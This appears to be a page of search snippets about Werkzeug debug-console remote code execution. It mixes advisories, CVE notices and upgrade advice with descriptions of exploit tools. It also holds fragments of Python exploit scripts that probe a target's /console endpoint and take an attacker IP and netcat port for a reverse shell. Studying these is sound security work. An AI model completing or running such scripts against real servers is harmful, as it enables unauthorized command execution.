WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.

Python script for exploiting Werkzeug Debug RCE useful for CTF - its-arun/Werkzeug-Debug-RCE

May 7, 2024 - Exploitability Metrics: Attack Vector: Network · Attack Complexity: High · Privileges Required: None · User Interaction: Required · Scope: Unchanged · Impact Metrics: Confidentiality Impact: High · Integrity Impact: High · Availability Impact: High · For more information on CVSS3 Scores, click here. Suggested Fix · Type: Upgrade version · Origin: GHSA-2g68-c3qc-8985 ·

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

basePort = sys.argv[2] · · #INITIAL CONNECTION WITH THE TARGET.. · print u"\n\u001b[32;1mConnecting To The Target...\u001b[0m\n" · res = requests.get('http://%s:%s/console'% (baseUrl,basePort)) · · #Checking for Werkzeug Console.. · if "Werkzeug powered traceback interpreter" not in res.text: ·

October 26, 2023 - Library home page: https://files.pythonhosted.org/packages/f6/f8/9da63c1617ae2a1dec2fbf6412f3a0cfe9d4ce029eccbda6e1e4258ca45f/Werkzeug-2.2.3-py3-none-any.whl

May 9, 2024 - Exploitability Metrics: Attack Vector: Network · Attack Complexity: High · Privileges Required: None · User Interaction: Required · Scope: Unchanged · Impact Metrics: Confidentiality Impact: High · Integrity Impact: High · Availability Impact: High · For more information on CVSS3 Scores, click here. Type: Upgrade version · Origin: GHSA-2g68-c3qc-8985 · Release Date: 2024-05-06 · Fix Resolution: Werkzeug - 3.0.3 ·

2 days ago - You just have to write a python function that leaks a file content and you have your shell :) \xc2\xb7 GitHub · https://www.daehee.com/werkzeug-console-pin-exploit/

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

August 31, 2022 - cascadia-code/requirements.txt Line 198 in 017bde5 werkzeug==2.0.1 CVE-2022-29361 Recommended upgrade version：2.1.1

# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 · · if len(sys.argv) != 5: · print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) · sys.exit(-1) · · · response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) · · if "Werkzeug " not in response.text: ·

February 15, 2023 - The issue is fixed in Werkzeug 2.2.3.

February 15, 2023 - CVE-2023-25577 (High) detected in Werkzeug-2.2.2-py3-none-any.whl, Werkzeug-2.0.3-py3-none-any.whl#602

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin.

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass

December 2, 2023 - During the Weekly vulnerability scan, It was found that the Werkzeug version currently used in the Python embedded version (2.2.3) contains a vulnerability that is fixed in version 3.0.1, version 2.3.8 and higher

A vulnerable browser may allow a compromised application on an adjacent subdomain to exploit this to set a cookie like =__Host-test=bad for another subdomain. Werkzeug <= 2.2.2 will parse the cookie =__Host-test=bad as __Host-test=bad.

Known vulnerabilities in the Werkzeug package.

Learn more about known Werkzeug 2.1.2 vulnerabilities and licenses detected.

Security vulnerabilities and package health score for pip package werkzeug 2.2.2